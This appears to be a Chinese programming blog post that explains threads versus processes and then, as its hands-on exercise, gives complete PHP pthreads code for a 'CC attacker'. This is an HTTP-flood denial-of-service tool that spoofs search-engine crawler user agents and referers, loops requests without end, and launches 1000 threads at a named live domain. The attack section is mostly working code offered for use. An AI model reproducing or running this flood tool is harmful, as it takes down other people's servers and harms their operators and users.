线程
线程与进程有很多类似的地方,但是也有部分不一样。在讲进程的时候我们给大家看过一张图。
从图中可以看出来线程是在进程内创建的,也就说多个线程共享一个进程内的资源;包括内存、地址空间、文件描述符等等。使用多线程是无序执行的,线程的调度和进程一样,由操作系统来调度,因此什么时候执行我们并不知道。有一句话可以概括:线程就是更轻量的进程。
线程
一个进程至少有一个线程
同一个进程内的多个线程共享同一份资源
文件描述符表
信号处理方式
当前工作目录
内存地址空间
每个线程有自己的独立栈,也就是线程内部的变量其他线程拿不到,除非是在进程内的全局变量。
既然有了多进程为什么我们还需要多线程?进程在遇到IO会阻塞,后面的代码无法执行,这时候CPU处于空跑状态,为了充分的利用CPU,操作系统会自动把遇到IO阻塞的进程挂起,切换到其他进程。
进程上下文
线程上下文
操作系统会给每一个进程分配给可用的时间片,就是每个进程每次运行多久,例如:CPU给每个进程分配了10ms的时间,如果一个进程执行到3ms的时候发生了IO阻塞怎么办呢?在单线程的情况下,会被切换到另一个进程,当前进程会被挂起。而多线程呢,是尽可能的利用完CPU给这个进程分配的时间片。
举个“栗子”,微信我们大家都在用,微信很显然就是一个多线程程序,为什么这样说呢?我们在跟别人视频的时候同时还可以跟其他人聊天,还可以使用输入法输入文字,选择表情,如果只有一个线程,那么我们在跟别人视频的时候这个线程就会阻塞,我们看到微信的界面就会卡死。
一个线程遇到阻塞的时候,会在同一个进程内的其他空闲线程切换,这样的切换只要消耗线程栈开销,因此很多时候我们都说线程是轻量级的进程。
因此需要把一个进程里面的任务再次分割成任务片,类似CPU分出来的时间片一样,分成多少份就开多少个线程。
我们可以通过多线程来实现一个CC攻击器。
实战:CC攻击器
CC攻击就是一种制造大量访问导致对方服务器资源耗尽无法提供服务的一种手段,这里用简单的方式实现,采用多线程+线程池+curl实现一个简单的cc攻击。
扩展下载地址:
https://github.com/krakjoe/pthreads.git
cc.php
<?phpclass CC extends Thread{ // 要攻击的url private $url; // 要攻击的域名 private $host; // user-agent private $userAgent = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 MicroMessenger/5.2.380', 'Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 likeMac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)', 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider' ]; // 模拟请求来源 private $referers = array( 'https://www.baidu.com?k=', 'https://www.sogou.com?keyword=', 'https://www.so.com?keyword=', 'https://www.google.com?k=', 'https://m.baidu.com?keyword=', 'https://m.sogou.com?keyword=', 'https://m.so.com?key=' ); public function __construct($url) { $this->url = $url; $this->parserUrl(); } /** * 解析host */ private function parserUrl() { $parser = parse_url($this->url); $this->host = $parser['host']; } /** * 获取头信息 * @return void */ private function getHeader(){ $referer = $this->referers[mt_rand(0,count($this->referers))]; $userAgent = $this->userAgent[mt_rand(0,count($this->userAgent))]; return [ 'Host'=>$this->host, 'Referer'=>$referer, 'User-Agent'=>$userAgent, 'Accept'=>'text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8', 'Accept-Language'=>' en-US,en;q=0.5', 'Accept-Charset'=>'iso-8859-1', 'Accept-Encoding'=>'gzip', 'Connection'=>'Keep-Alive' ]; } /** * 实现访问 */ public function request() { $header = $this->getHeader(); $curl = curl_init(); // CURL头信息设置 curl_setopt($curl, CURLOPT_HTTPHEADER, $header); curl_setopt($curl, CURLOPT_URL, $this->url); curl_setopt($curl, CURLOPT_TIMEOUT, 30); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $res = curl_exec($curl); var_dump($res); curl_close($curl); } public function run() { while(true){ $this->request(); sleep(0.3); } }}
threadPool.php
<?phpclass ThreadPool{ public $pool = array(); private $url;public function __construct($url,$count) { $this->url = $url; $this->count = $count;}public function push(){if(count($this->pool) < $this->count){$this->pool[] = new CC($this->url);return true;}else{return false;}}public function start(){foreach ( $this->pool as $id => $worker){$this->pool[$id]->start();}}public function join(){foreach ( $this->pool as $id => $worker){ $this->pool[$id]->join();}}}
run.php
<?phprequire 'cc.php';require 'threadPool.php';$count = 1000;$pool = new ThreadPool('http://www.vxwei.com/index.php',$count);for($i=0;$i<$count;$i++){ $pool->push();}$pool->start();$pool->join();
如果喜欢我的文章请转发朋友圈点关注,一心只做原创文章。